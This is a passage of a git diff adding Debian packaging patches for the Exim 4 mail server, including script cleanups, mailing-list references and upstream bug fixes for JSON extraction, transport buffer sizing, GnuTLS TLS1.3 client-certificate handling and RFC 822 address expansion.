$main{$_[ + + print STDERR "Runtime configuration file converter for Exim release 4.\n"; + ++if( !defined $ENV{"CONVERT4R4"} || $ENV{"CONVERT4R4"} ne "I understand this is an unsupported tool" ) { ++ ++ print STDERR <<EOF; ++convert4r4 on Debian GNU/Linux deprecated ++ ++This tool is unsupported by upstream and discouraged by the Debian Exim 4 ++maintainers. It has multiple known bugs, and you need to manually ++review its output after using it anyway. Please seriously consider complete ++manual regeneration of the Exim 4 configuration, preferably by using the new ++Debconf interface to Exim 4. ++ ++If you decide to ignore this advice and to use this script anyway, ++setting the environment variable CONVERT4R4 to the value ++\"I understand this is an unsupported tool\" ++will allow you to run the script. If you find bugs, you get to keep ++the pieces. Please do not file bugs against this script in the Debian ++BTS without providing a patch fixing the bugs, and please do not ++expect the upstream exim-users mailing list to answer questions. ++ ++Kind regards ++the Debian Exim4 Maintainers ++EOF ++ ++ exit 1; ++} ++ + $transport_start = $director_start = $router_start = $retry_start + = $rewrite_start = $auth_start = 999999; + diff --git a/debian/patches/67_unnecessaryCopt.diff b/debian/patches/67_unnecessaryCopt.diff new file mode 100644 index 0000000..daae1e4 --- /dev/null +++ b/debian/patches/67_unnecessaryCopt.diff @@ -0,0 +1,69 @@ +Description: Stop using exim's -C option in utility scripts (exiwhat + et al.) since this breaks with ALT_CONFIG_PREFIX. +Author: Andreas Metzler <ametzler@bebt.de> +Forwarded: http://bugs.exim.org/show_bug.cgi?id=1045 +Last-Update: 2018-12-31 + +--- a/src/exicyclog.src ++++ b/src/exicyclog.src +@@ -151,10 +151,10 @@ st=' ' + exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` + if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi + +-spool_directory=`$exim_path -C $config -bP spool_directory | sed 's/.*=[ ]*//'` ++spool_directory=`$exim_path -bP spool_directory | sed 's/.*=[ ]*//'` + + if [ "$log_file_path" = "" ] ; then +- log_file_path=`$exim_path -C $config -bP log_file_path | sed 's/.*=[ ]*//'` ++ log_file_path=`$exim_path -bP log_file_path | sed 's/.*=[ ]*//'` + fi + + # If log_file_path contains only "syslog" then no Exim log files are in use. +--- a/src/eximon.src ++++ b/src/eximon.src +@@ -81,8 +81,8 @@ st=' ' + EXIM_PATH=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` + if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim4; fi + +-SPOOL_DIRECTORY=`$EXIM_PATH -C $config -bP spool_directory | sed 's/.*=[ ]*//'` +-LOG_FILE_PATH=`$EXIM_PATH -C $config -bP log_file_path | sed 's/.*=[ ]*//'` ++SPOOL_DIRECTORY=`$EXIM_PATH -bP spool_directory | sed 's/.*=[ ]*//'` ++LOG_FILE_PATH=`$EXIM_PATH -bP log_file_path | sed 's/.*=[ ]*//'` + + # If log_file_path is "syslog" then logging is only to syslog, and the monitor + # is unable to display a log tail unless EXIMON_LOG_FILE_PATH is set to tell +--- a/src/exinext.src ++++ b/src/exinext.src +@@ -98,8 +98,8 @@ if [ "$exim_path" = "" ]; then + fi + + if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi +-spool_directory=`$exim_path $eximmacdef -C $config -bP spool_directory | sed 's/.*=[ ]*//'` +-qualify_domain=`$exim_path $eximmacdef -C $config -bP qualify_domain | sed 's/.*=[ ]*//'` ++spool_directory=`$exim_path $eximmacdef -bP spool_directory | sed 's/.*=[ ]*//'` ++qualify_domain=`$exim_path $eximmacdef -bP qualify_domain | sed 's/.*=[ ]*//'` + + # Now do the job. Perl uses $ so frequently that we don't want to have to + # escape them all from the shell, so pass in shell variable values as +@@ -144,7 +144,7 @@ perl - $exim_path "$eximmacdef" $argone + # Run Exim to get a list of hosts for the given domain; for + # each one construct the appropriate retry key. + +- open(LIST, "$exim -C $config -v -bt $address |") || ++ open(LIST, "$exim -v -bt $address |") || + die "can't run exim to route $address"; + + while (<LIST>) +--- a/src/exiwhat.src ++++ b/src/exiwhat.src +@@ -99,8 +99,8 @@ fi + st=' ' + exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` + if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi +-spool_directory=`$exim_path -C $config -bP spool_directory | sed "s/.*=[ ]*//"` +-process_log_path=`$exim_path -C $config -bP process_log_path | sed "s/.*=[ ]*//"` ++spool_directory=`$exim_path -bP spool_directory | sed "s/.*=[ ]*//"` ++process_log_path=`$exim_path -bP process_log_path | sed "s/.*=[ ]*//"` + + # The file that Exim writes when sent the SIGUSR1 signal is specified by + # the process_log_path option. If that is not defined, Exim uses the file diff --git a/debian/patches/70_remove_exim-users_references.dpatch b/debian/patches/70_remove_exim-users_references.dpatch new file mode 100755 index 0000000..9efe04f --- /dev/null +++ b/debian/patches/70_remove_exim-users_references.dpatch @@ -0,0 +1,37 @@ +Description: Point Debian users to Debian specific ML. +Author: Marc Haber <mh+debian-packages@zugschlus.de> +Last-Update: 2018-12-31 + +--- a/README ++++ b/README +@@ -14,8 +14,16 @@ from Exim 3, though the basic structure + older book may be helpful for the background, but a lot of the detail has + changed, so it is likely to be confusing to newcomers. + +-There is a website at https://www.exim.org; this contains details of the +-mailing list exim-users@exim.org. ++Information about the way Debian has built the binary packages is ++obtainable in /usr/share/doc/exim4-base/README.Debian.gz, and there ++is a Debian-centered mailing list, ++pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific ++questions there, and only write to the upstream exim-users mailing ++list if you are sure that your question is not Debian-specific. You ++can find the subscription web page on ++http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users ++ ++There is a website at https://www.exim.org/. + + A copy of the Exim FAQ should be available from the same source that you used + to obtain the Exim distribution. Additional formats for the documentation +--- a/src/eximstats.src ++++ b/src/eximstats.src +@@ -537,8 +537,7 @@ about how to create charts from the tabl + + =head1 AUTHOR + +-There is a website at https://www.exim.org - this contains details of the +-mailing list exim-users@exim.org. ++There is a website at https://www.exim.org/. + + =head1 TO DO + diff --git a/debian/patches/75_01-Fix-json-extract-operator-for-unfound-case.patch b/debian/patches/75_01-Fix-json-extract-operator-for-unfound-case.patch new file mode 100644 index 0000000..a0978af --- /dev/null +++ b/debian/patches/75_01-Fix-json-extract-operator-for-unfound-case.patch @@ -0,0 +1,69 @@ +From b2734f7b45111f9b7de790c7b334a2ece47675b5 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Sat, 9 Feb 2019 16:56:59 +0000 +Subject: [PATCH 1/7] Fix json extract operator for unfound case + +(cherry picked from commit e73798976812e652320f096870359ef35ed069ff) +--- + doc/doc-docbook/spec.xfpt | 4 ++++ + src/expand.c | 13 ++++++++----- + test/scripts/0000-Basic/0002 | 3 +++ + test/stdout/0002 | 3 +++ + 4 files changed, 18 insertions(+), 5 deletions(-) + +--- a/src/expand.c ++++ b/src/expand.c +@@ -3901,7 +3901,8 @@ return NULL; + /* Pull off the leading array or object element, returning + a copy in an allocated string. Update the list pointer. + +-The element may itself be an abject or array. ++The element may itself be an object or array. ++Return NULL when the list is empty. + */ + + uschar * +@@ -3923,6 +3924,7 @@ for (item = s; + case '}': object_depth--; break; + } + *list = *s ? s+1 : s; ++if (item == s) return NULL; + item = string_copyn(item, s - item); + DEBUG(D_expand) debug_printf_indent(" json ele: '%s'\n", item); + return US item; +@@ -5790,10 +5792,11 @@ while (*s != 0) + } + while (field_number > 0 && (item = json_nextinlist(&list))) + field_number--; +- s = item; +- lookup_value = s; +- while (*s) s++; +- while (--s >= lookup_value && isspace(*s)) *s = '\0'; ++ if ((lookup_value = s = item)) ++ { ++ while (*s) s++; ++ while (--s >= lookup_value && isspace(*s)) *s = '\0'; ++ } + } + else + { +--- a/doc/spec.txt ++++ b/doc/spec.txt +@@ -8776,6 +8776,8 @@ ${extract json{<key>}{<string1>}{<string + The braces, commas and colons, and the quoting of the member name are + required; the spaces are optional. Matching of the key against the member + names is done case-sensitively. ++ If a returned value is a JSON string, it retains its leading and ++ trailing quotes. + + The results of matching are handled as above. + +@@ -8813,6 +8815,8 @@ ${extract json{<number>}}{<string1>}{<st + + Field selection and result handling is as above; there is no choice of + field separator. ++ If a returned value is a JSON string, it retains its leading and ++ trailing quotes. + + ${filter{<string>}{<condition>}} + diff --git a/debian/patches/75_02-Fix-transport-buffer-size-handling.patch b/debian/patches/75_02-Fix-transport-buffer-size-handling.patch new file mode 100644 index 0000000..a96350b --- /dev/null +++ b/debian/patches/75_02-Fix-transport-buffer-size-handling.patch @@ -0,0 +1,52 @@ +From 1cfa7822ca8928f95160df8742af11fff888ae7e Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Tue, 12 Feb 2019 16:52:51 +0000 +Subject: [PATCH 3/7] Fix transport buffer size handling Broken-by: 59932f7dcd + +(cherry picked from commit 05bf16f6217e93594929c8bbbbbc852caf3ed374) +--- + doc/ChangeLog | 7 +++++++ + src/transport.c | 4 ++-- + 2 files changed, 9 insertions(+), 2 deletions(-) + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 7da07ad4..66c8a7a1 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -5,6 +5,13 @@ affect Exim's operation, with an unchanged configuration file. For new + options, and new features, see the NewStuff file next to this ChangeLog. + + ++Since version 4.92 ++------------------ ++ ++JH/06 Fix buggy handling of autoreply bounce_return_size_limit, and a possible ++ buffer overrun for (non-chunking) other transports. ++ ++ + Exim version 4.92 + ----------------- + +diff --git a/src/transport.c b/src/transport.c +index 8ccdd038..a069b883 100644 +--- a/src/transport.c ++++ b/src/transport.c +@@ -1115,13 +1115,13 @@ DEBUG(D_transport) + + if (!(tctx->options & topt_no_body)) + { +- int size = size_limit; ++ unsigned long size = size_limit > 0 ? size_limit : ULONG_MAX; + + nl_check_length = abs(nl_check_length); + nl_partial_match = 0; + if (lseek(deliver_datafile, SPOOL_DATA_START_OFFSET, SEEK_SET) < 0) + return FALSE; +- while ( (len = MAX(DELIVER_IN_BUFFER_SIZE, size)) > 0 ++ while ( (len = MIN(DELIVER_IN_BUFFER_SIZE, size)) > 0 + && (len = read(deliver_datafile, deliver_in_buffer, len)) > 0) + { + if (!write_chunk(tctx, deliver_in_buffer, len)) +-- +2.20.1 + diff --git a/debian/patches/75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch b/debian/patches/75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch new file mode 100644 index 0000000..6db6f83 --- /dev/null +++ b/debian/patches/75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch @@ -0,0 +1,42 @@ +From cb25b75af850d664fc005d24fbad0e58bf79d4c7 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Thu, 14 Feb 2019 17:14:34 +0000 +Subject: [PATCH 5/7] Fix info on using local_scan() in the default Makefile + +Broken-by: 9723f96673 +(cherry picked from commit 882bc1704d33aa34873e3a0f72e657b0cc2985e5) +--- + OS/Makefile-Default | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +diff --git a/OS/Makefile-Default b/OS/Makefile-Default +index b3990fe8..41a4dbbd 100644 +--- a/OS/Makefile-Default ++++ b/OS/Makefile-Default +@@ -232,6 +232,11 @@ RANLIB=ranlib + EXIM_CHMOD=@true + + ++# If you want to use local_scan() at all, the support code must be included ++# by uncommenting this line. ++ ++# HAVE_LOCAL_SCAN=yes ++ + # LOCAL_SCAN_SOURCE defines the file in which the function local_scan() is + # defined. This provides the administrator with a hook for including C code + # for scanning incoming mails. The path that is defined must be relative to +@@ -239,8 +244,9 @@ EXIM_CHMOD=@true + + # LOCAL_SCAN_SOURCE=Local/local_scan.c + +-# The default setting points to a template function that doesn't actually do +-# any scanning, but just accepts the message. ++# A very simple example points to a template function that doesn't actually do ++# any scanning, but just accepts the message. A compilable file must be ++# included in the build even if HAVE_LOCAL_SCAN is not defined. + + LOCAL_SCAN_SOURCE=src/local_scan.c + +-- +2.20.1 + diff --git a/debian/patches/75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch b/debian/patches/75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch new file mode 100644 index 0000000..c45f6aa --- /dev/null +++ b/debian/patches/75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch @@ -0,0 +1,420 @@ +From c15523829ba17cce5829e2976aa1ff928965d948 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Sat, 16 Feb 2019 12:59:23 +0000 +Subject: [PATCH 7/7] GnuTLS: Fix client detection of server reject of client + cert under TLS1.3 + +(cherry picked from commit fc243e944ec00b59b75f41d07494116f925d58b4) +--- + doc/ChangeLog | 7 +++ + src/deliver.c | 2 +- + src/smtp_out.c | 10 +++-- + src/tls-gnu.c | 23 +++------- + src/transports/lmtp.c | 3 +- + src/transports/smtp.c | 81 +++++++++++++++++++++++++++-------- + test/confs/2027 | 8 ++-- + test/confs/5652 | 1 + + test/confs/5821 | 2 +- + test/log/2027 | 2 +- + test/runtest | 14 ++++++ + test/scripts/2000-GnuTLS/2027 | 2 + + 12 files changed, 111 insertions(+), 44 deletions(-) + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 66c8a7a1..867a1d8a 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -11,6 +11,13 @@ Since version 4.92 + JH/06 Fix buggy handling of autoreply bounce_return_size_limit, and a possible + buffer overrun for (non-chunking) other transports. + ++JH/07 GnuTLS: Our use of late (post-handshake) certificate verification, under ++ TLS1.3, means that a server rejecting a client certificate is not visible ++ to the client until the first read of encrypted data (typically the ++ response to EHLO). Add detection for that case and treat it as a failed ++ TLS connection attempt, so that the normal retry-in-clear can work (if ++ suitably configured). ++ + + Exim version 4.92 + ----------------- +diff --git a/src/deliver.c b/src/deliver.c +index 664d0045..e1799411 100644 +--- a/src/deliver.c ++++ b/src/deliver.c +@@ -7433,7 +7433,7 @@ if (addr_senddsn) + + tctx.u.fd = fd; + tctx.options = topt_add_return_path | topt_no_body; +- /*XXX hmm, retval ignored. ++ /*XXX hmm, FALSE(fail) retval ignored. + Could error for any number of reasons, and they are not handled. */ + transport_write_message(&tctx, 0); + fflush(f); +diff --git a/src/smtp_out.c b/src/smtp_out.c +index 9bd90c77..b194e804 100644 +--- a/src/smtp_out.c ++++ b/src/smtp_out.c +@@ -688,20 +688,22 @@ Returns: TRUE if a valid, non-error response was received; else FALSE + /*XXX could move to smtp transport; no other users */ + + BOOL +-smtp_read_response(void * sx0, uschar *buffer, int size, int okdigit, ++smtp_read_response(void * sx0, uschar * buffer, int size, int okdigit, + int timeout) + { + smtp_context * sx = sx0; +-uschar *ptr = buffer; +-int count = 0; ++uschar * ptr = buffer; ++int count = 0, rc; + + errno = 0; /* Ensure errno starts out zero */ + + #ifdef EXPERIMENTAL_PIPE_CONNECT + if (sx->pending_BANNER || sx->pending_EHLO) +- if (smtp_reap_early_pipe(sx, &count) != OK) ++ if ((rc = smtp_reap_early_pipe(sx, &count)) != OK) + { + DEBUG(D_transport) debug_printf("failed reaping pipelined cmd responsess\n"); ++ buffer[0] = '\0'; ++ if (rc == DEFER) errno = ERRNO_TLSFAILURE; + return FALSE; + } + #endif +diff --git a/src/tls-gnu.c b/src/tls-gnu.c +index c404dc29..de2d70c0 100644 +--- a/src/tls-gnu.c ++++ b/src/tls-gnu.c +@@ -229,7 +229,7 @@ static gnutls_dh_params_t dh_server_params = NULL; + + static const int ssl_session_timeout = 200; + +-static const char * const exim_default_gnutls_priority = "NORMAL"; ++static const uschar * const exim_default_gnutls_priority = US"NORMAL"; + + /* Guard library core initialisation */ + +@@ -1278,7 +1278,6 @@ int rc; + size_t sz; + const char *errpos; + uschar *p; +-BOOL want_default_priorities; + + if (!exim_gnutls_base_init_done) + { +@@ -1387,32 +1386,24 @@ and replaces gnutls_require_kx, gnutls_require_mac & gnutls_require_protocols. + This was backwards incompatible, but means Exim no longer needs to track + all algorithms and provide string forms for them. */ + +-want_default_priorities = TRUE; +- ++p = NULL; + if (state->tls_require_ciphers && *state->tls_require_ciphers) + { + if (!expand_check_tlsvar(tls_require_ciphers, errstr)) + return DEFER; + if (state->exp_tls_require_ciphers && *state->exp_tls_require_ciphers) + { +- DEBUG(D_tls) debug_printf("GnuTLS session cipher/priority \"%s\"\n", +- state->exp_tls_require_ciphers); +- +- rc = gnutls_priority_init(&state->priority_cache, +- CS state->exp_tls_require_ciphers, &errpos); +- want_default_priorities = FALSE; + p = state->exp_tls_require_ciphers; ++ DEBUG(D_tls) debug_printf("GnuTLS session cipher/priority \"%s\"\n", p); + } + } +-if (want_default_priorities) ++if (!p) + { ++ p = exim_default_gnutls_priority; + DEBUG(D_tls) +- debug_printf("GnuTLS using default session cipher/priority \"%s\"\n", +- exim_default_gnutls_priority); +- rc = gnutls_priority_init(&state->priority_cache, +- exim_default_gnutls_priority, &errpos); +- p = US exim_default_gnutls_priority; ++ debug_printf("GnuTLS using default session cipher/priority \"%s\"\n", p); + } ++rc = gnutls_priority_init(&state->priority_cache, CCS p, &errpos); + + exim_gnutls_err_check(rc, string_sprintf( + "gnutls_priority_init(%s) failed at offset %ld, \"%.6s..\"", +diff --git a/src/transports/lmtp.c b/src/transports/lmtp.c +index 240d78b2..57b346d4 100644 +--- a/src/transports/lmtp.c ++++ b/src/transports/lmtp.c +@@ -122,7 +122,8 @@ Arguments: + Returns: TRUE if a "QUIT" command should be sent, else FALSE + */ + +-static BOOL check_response(int *errno_value, int more_errno, uschar *buffer, ++static BOOL ++check_response(int *errno_value, int more_errno, uschar *buffer, + int *yield, uschar **message) + { + *yield = '4'; /* Default setting is to give a temporary error */ +diff --git a/src/transports/smtp.c b/src/transports/smtp.c +index a351da84..bfd6018d 100644 +--- a/src/transports/smtp.c ++++ b/src/transports/smtp.c +@@ -594,6 +594,11 @@ switch(*errno_value) + pl, smtp_command, s); + return FALSE; + ++ case ERRNO_TLSFAILURE: /* Handle bad first read; can happen with ++ GnuTLS and TLS1.3 */ ++ *message = US"bad first read from TLS conn"; ++ return TRUE; ++ + case ERRNO_FILTER_FAIL: /* Handle a failed filter process error; + can't send QUIT as we mustn't end the DATA. */ + *message = string_sprintf("transport filter process failed (%d)%s", +@@ -942,6 +947,7 @@ Arguments: + + Return: + OK all well ++ DEFER error on first read of TLS'd conn + FAIL SMTP error in response + */ + int +@@ -949,6 +955,7 @@ smtp_reap_early_pipe(smtp_context * sx, int * countp) + { + BOOL pending_BANNER = sx->pending_BANNER; + BOOL pending_EHLO = sx->pending_EHLO; ++int rc = FAIL; + + sx->pending_BANNER = FALSE; /* clear early to avoid recursion */ + sx->pending_EHLO = FALSE; +@@ -960,6 +967,7 @@ if (pending_BANNER) + if (!smtp_reap_banner(sx)) + { + DEBUG(D_transport) debug_printf("bad banner\n"); ++ if (tls_out.active.sock >= 0) rc = DEFER; + goto fail; + } + } +@@ -974,6 +982,7 @@ if (pending_EHLO) + if (!smtp_reap_ehlo(sx)) + { + DEBUG(D_transport) debug_printf("bad response for EHLO\n"); ++ if (tls_out.active.sock >= 0) rc = DEFER; + goto fail; + } + +@@ -1011,7 +1020,7 @@ return OK; + fail: + invalidate_ehlo_cache_entry(sx); + (void) smtp_discard_responses(sx, sx->conn_args.ob, *countp); +- return FAIL; ++ return rc; + } + #endif + +@@ -1056,6 +1065,7 @@ Returns: 3 if at least one address had 2xx and one had 5xx + -2 I/O or other non-response error for RCPT + -3 DATA or MAIL failed - errno and buffer set + -4 banner or EHLO failed (early-pipelining) ++ -5 banner or EHLO failed (early-pipelining, TLS) + */ + + static int +@@ -1064,10 +1074,11 @@ sync_responses(smtp_context * sx, int count, int pending_DATA) + address_item * addr = sx->sync_addr; + smtp_transport_options_block * ob = sx->conn_args.ob; + int yield = 0; ++int rc; + + #ifdef EXPERIMENTAL_PIPE_CONNECT +-if (smtp_reap_early_pipe(sx, &count) != OK) +- return -4; ++if ((rc = smtp_reap_early_pipe(sx, &count)) != OK) ++ return rc == FAIL ? -4 : -5; + #endif + + /* Handle the response for a MAIL command. On error, reinstate the original +@@ -1083,6 +1094,8 @@ if (sx->pending_MAIL) + { + DEBUG(D_transport) debug_printf("bad response for MAIL\n"); + Ustrcpy(big_buffer, mail_command); /* Fits, because it came from there! */ ++ if (errno == ERRNO_TLSFAILURE) ++ return -5; + if (errno == 0 && sx->buffer[0] != 0) + { + int save_errno = 0; +@@ -1141,6 +1154,11 @@ while (count-- > 0) + } + } + ++ /* Error on first TLS read */ ++ ++ else if (errno == ERRNO_TLSFAILURE) ++ return -5; ++ + /* Timeout while reading the response */ + + else if (errno == ETIMEDOUT) +@@ -1253,6 +1271,10 @@ if (pending_DATA != 0) + int code; + uschar *msg; + BOOL pass_message; ++ ++ if (errno == ERRNO_TLSFAILURE) /* Error on first TLS read */ ++ return -5; ++ + if (pending_DATA > 0 || (yield & 1) != 0) + { + if (errno == 0 && sx->buffer[0] == '4') +@@ -1802,7 +1824,9 @@ Args: + tc_chunk_last add LAST option to SMTP BDAT command + tc_reap_prev reap response to previous SMTP commands + +-Returns: OK or ERROR ++Returns: ++ OK or ERROR ++ DEFER TLS error on first read (EHLO-resp); errno set + */ + + static int +@@ -1859,10 +1883,12 @@ if (flags & tc_reap_prev && prev_cmd_count > 0) + case 2: sx->completed_addr = TRUE; /* 5xx (only) => progress made */ + case 0: break; /* No 2xx or 5xx, but no probs */ + +- case -1: /* Timeout on RCPT */ ++ case -5: errno = ERRNO_TLSFAILURE; ++ return DEFER; + #ifdef EXPERIMENTAL_PIPE_CONNECT + case -4: /* non-2xx for pipelined banner or EHLO */ + #endif ++ case -1: /* Timeout on RCPT */ + default: return ERROR; /* I/O error, or any MAIL/DATA error */ + } + cmd_count = 1; +@@ -1933,6 +1959,9 @@ BOOL pass_message = FALSE; + uschar * message = NULL; + int yield = OK; + int rc; ++#ifdef SUPPORT_TLS ++uschar * tls_errstr; ++#endif + + sx->conn_args.ob = ob; + +@@ -2474,27 +2503,27 @@ if ( smtp_peer_options & OPTION_TLS + TLS_NEGOTIATE: + { + address_item * addr; +- uschar * errstr; + sx->cctx.tls_ctx = tls_client_start(sx->cctx.sock, sx->conn_args.host, + sx->addrlist, sx->conn_args.tblock, + # ifdef SUPPORT_DANE + sx->dane ? &tlsa_dnsa : NULL, + # endif +- &tls_out, &errstr); ++ &tls_out, &tls_errstr); + + if (!sx->cctx.tls_ctx) + { + /* TLS negotiation failed; give an error. From outside, this function may + be called again to try in clear on a new connection, if the options permit + it for this host. */ +- DEBUG(D_tls) debug_printf("TLS session fail: %s\n", errstr); ++GNUTLS_CONN_FAILED: ++ DEBUG(D_tls) debug_printf("TLS session fail: %s\n", tls_errstr); + + # ifdef SUPPORT_DANE + if (sx->dane) + { + log_write(0, LOG_MAIN, + "DANE attempt failed; TLS connection to %s [%s]: %s", +- sx->conn_args.host->name, sx->conn_args.host->address, errstr); ++ sx->conn_args.host->name, sx->conn_args.host->address, tls_errstr); + # ifndef DISABLE_EVENT + (void) event_raise(sx->conn_args.tblock->event_action, + US"dane:fail", US"validation-failure"); /* could do with better detail */ +@@ -2503,7 +2532,7 @@ if ( smtp_peer_options & OPTION_TLS + # endif + + errno = ERRNO_TLSFAILURE; +- message = string_sprintf("TLS session: %s", errstr); ++ message = string_sprintf("TLS session: %s", tls_errstr); + sx->send_quit = FALSE; + goto TLS_FAILED; + } +@@ -2601,7 +2630,22 @@ if (tls_out.active.sock >= 0) + #endif + { + if (!smtp_reap_ehlo(sx)) ++#ifdef USE_GNUTLS ++ { ++ /* The GnuTLS layer in Exim only spots a server-rejection of a client ++ cert late, under TLS1.3 - which means here; the first time we try to ++ receive crypted data. Treat it as if it was a connect-time failure. ++ See also the early-pipe equivalent... which will be hard; every call ++ to sync_responses will need to check the result. ++ It would be nicer to have GnuTLS check the cert during the handshake. ++ Can it do that, with all the flexibility we need? */ ++ ++ tls_errstr = US"error on first read"; ++ goto GNUTLS_CONN_FAILED; ++ } ++#else + goto RESPONSE_FAILED; ++#endif + smtp_peer_options = 0; + } + } +@@ -3261,6 +3305,7 @@ for (addr = sx->first_addr, address_count = 0; + + #ifdef EXPERIMENTAL_PIPE_CONNECT + case -4: return -1; /* non-2xx for pipelined banner or EHLO */ ++ case -5: return -1; /* TLS first-read error */ + #endif + } + sx->pending_MAIL = FALSE; /* Dealt with MAIL */ +@@ -3589,11 +3634,12 @@ if ( !(sx.peer_offered & OPTION_CHUNKING) + + case 1: sx.ok = TRUE; /* 2xx (only) => OK, but if LMTP, */ + if (!sx.lmtp) sx.completed_addr = TRUE; /* can't tell about progress yet */ +- case 0: break; /* No 2xx or 5xx, but no probs */ ++ case 0: break; /* No 2xx or 5xx, but no probs */ + +- case -1: goto END_OFF; /* Timeout on RCPT */ ++ case -1: goto END_OFF; /* Timeout on RCPT */ + + #ifdef EXPERIMENTAL_PIPE_CONNECT ++ case -5: /* TLS first-read error */ + case -4: HDEBUG(D_transport) + debug_printf("failed reaping pipelined cmd responses\n"); + #endif +@@ -3730,19 +3776,20 @@ else + { + case 3: sx.ok = TRUE; /* 2xx & 5xx => OK & progress made */ + case 2: sx.completed_addr = TRUE; /* 5xx (only) => progress made */ +- break; ++ break; + +- case 1: sx.ok = TRUE; /* 2xx (only) => OK, but if LMTP, */ ++ case 1: sx.ok = TRUE; /* 2xx (only) => OK, but if LMTP, */ + if (!sx.lmtp) sx.completed_addr = TRUE; /* can't tell about progress yet */ +- case 0: break; /* No 2xx or 5xx, but no probs */ ++ case 0: break; /* No 2xx or 5xx, but no probs */ + +- case -1: goto END_OFF; /* Timeout on RCPT */ ++ case -1: goto END_OFF; /* Timeout on RCPT */ + + #ifdef EXPERIMENTAL_PIPE_CONNECT ++ case -5: /* TLS first-read error */ + case -4: HDEBUG(D_transport) + debug_printf("failed reaping pipelined cmd responses\n"); + #endif +- default: goto RESPONSE_FAILED; /* I/O error, or any MAIL/DATA error */ ++ default: goto RESPONSE_FAILED; /* I/O error, or any MAIL/DATA error */ + } + } + +-- +2.20.1 + diff --git a/debian/patches/75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch b/debian/patches/75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch new file mode 100644 index 0000000..517eb1c --- /dev/null +++ b/debian/patches/75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch @@ -0,0 +1,91 @@ +From f634b80846cc7ffcab65c9855bcb35312f0232e8 Mon Sep 17 00:00:00 2001 +From: Jasen Betts <jasen@xnet.co.nz> +Date: Mon, 18 Feb 2019 13:52:16 +0000 +Subject: [PATCH 1/5] Fix expansions for RFC 822 addresses having comments in + local-part and/or domain. Bug 2375 + +(cherry picked from commit e2ff8e24f41caca3623228b1ec66a3f3961ecad6) +--- + doc/ChangeLog | 3 +++ + src/expand.c | 19 +++++++------------ + test/scripts/0000-Basic/0002 | 7 +++++++ + test/stdout/0002 | 7 +++++++ + 4 files changed, 24 insertions(+), 12 deletions(-) + +diff --git a/doc/ChangeLog b/doc/ChangeLog +index 867a1d8a..9659da32 100644 +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -16,10 +16,13 @@ JH/07 GnuTLS: Our use of late (post-handshake) certificate verification, under + to the client until the first read of encrypted data (typically the + response to EHLO). Add detection for that case and treat it as a failed + TLS connection attempt, so that the normal retry-in-clear can work (if + suitably configured). + ++JB/01 BZg 2375: fix expansions of 822 addresses having comments in local-part ++ and/or domain. Found and fixed by Jason Betts. ++ + + Exim version 4.92 + ----------------- + + JH/01 Remove code calling the customisable local_scan function, unless a new +diff --git a/src/expand.c b/src/expand.c +index 2c290251..35ede718 100644 +--- a/src/expand.c ++++ b/src/expand.c +@@ -7071,20 +7071,15 @@ while (*s != 0) + uschar * error; + int start, end, domain; + uschar * t = parse_extract_address(sub, &error, &start, &end, &domain, + FALSE); + if (t) +- if (c != EOP_DOMAIN) +- { +- if (c == EOP_LOCAL_PART && domain != 0) end = start + domain - 1; +- yield = string_catn(yield, sub+start, end-start); +- } +- else if (domain != 0) +- { +- domain += start; +- yield = string_catn(yield, sub+domain, end-domain); +- } ++ yield = c == EOP_DOMAIN ++ ? string_cat(yield, t + domain) ++ : c == EOP_LOCAL_PART && domain > 0 ++ ? string_catn(yield, t, domain - 1 ) ++ : string_cat(yield, t); + continue; + } + + case EOP_ADDRESSES: + { +@@ -7104,11 +7099,11 @@ while (*s != 0) + } + f.parse_allow_group = TRUE; + + for (;;) + { +- uschar *p = parse_find_address_end(sub, FALSE); ++ uschar * p = parse_find_address_end(sub, FALSE); + uschar saveend = *p; + *p = '\0'; + address = parse_extract_address(sub, &error, &start, &end, &domain, + FALSE); + *p = saveend; +@@ -7117,11 +7112,11 @@ while (*s != 0) + done in chunks by searching for the separator character. At the + start, unless we are dealing with the first address of the output + list, add in a space if the new address begins with the separator + character, or is an empty string. */ + +- if (address != NULL) ++ if (address) + { + if (yield->ptr != save_ptr && address[0] == *outsep) + yield = string_catn(yield, US" ", 1); + + for (;;) +-- +2.20.1 + diff --git a/debian/patches/75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch b/debian/patches/75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch new file mode 100644 index 0000000..a7863ef --- /dev/null +++ b/debian/patches/75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch @@ -0,0 +1,48 @@ +From 8dde16b89efe2138f92cbfa6c59fb31dc80ec22a Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Tue, 19 Feb 2019 14:45:27 +0000 +Subject: [PATCH 2/5] 